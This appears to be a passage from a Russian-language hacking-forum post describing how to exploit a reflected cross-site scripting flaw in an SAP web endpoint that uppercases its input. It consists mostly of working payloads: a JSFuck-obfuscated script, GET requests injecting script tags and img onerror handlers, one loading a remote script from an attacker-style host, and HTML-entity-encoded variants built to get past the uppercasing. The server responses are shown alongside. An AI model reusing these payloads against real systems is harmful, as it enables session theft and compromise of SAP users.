![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])>">
</head>
<body>
</body>
</html>
https://xss.pro/attachments/71825/
Изображение [2]
Таким образом, мы понимаем, что JSFuck работает, теперь время для второго подхода. Второй подход - это запуск HTTP-сервера с файлом 1.JS, я использовал номер 1, потому что числа не могут быть преобразованы в верхний регистр, а верхний регистр .js - это .JSИзображение [2]
https://xss.pro/attachments/71826/
Изображение [3]
Изображение [3]
Теперь мой запрос:
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><script%20src=http://xacker.mamkin/1.JS>.asp HTTP/2
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><SCRIPT SRC=HTTP:/XACKER.MAMKIN/1.JS>">
</head>
<body>
</body>
</html>
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img/src=x/onerror=print(1)>.asp HTTP/2
Код:
HTTP/2 404 Not Found
200 OK
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
404 Not Found
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
200 OK, хорошо, этот, кажется, работает.
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/">.asp HTTP/2
Теперь я вернусь и закодирую то, что нужно правильным образом
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img/src=x/onerror=print(1)>.asp HTTP/
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=print(1)>.asp HTTP/2
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=%26%23112%26%23114%26%23105%26%23110%26%23116(1)>.asp HTTP/2
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><IMG SRC=X ONERROR=print(1)>">
</head>
<body>
</body>
</html>
https://xss.pro/attachments/71827/
Изображение [4]
Изображение [4]
Мой пейлоад был print xD
В результате теперь у нас есть лучший (более правильный) пейлоад, чем тот, что был в Nuclei, потому что наш кодирует то, что нужно, а не всё.
П.С. Тестировалось с разрешения, очевидно.
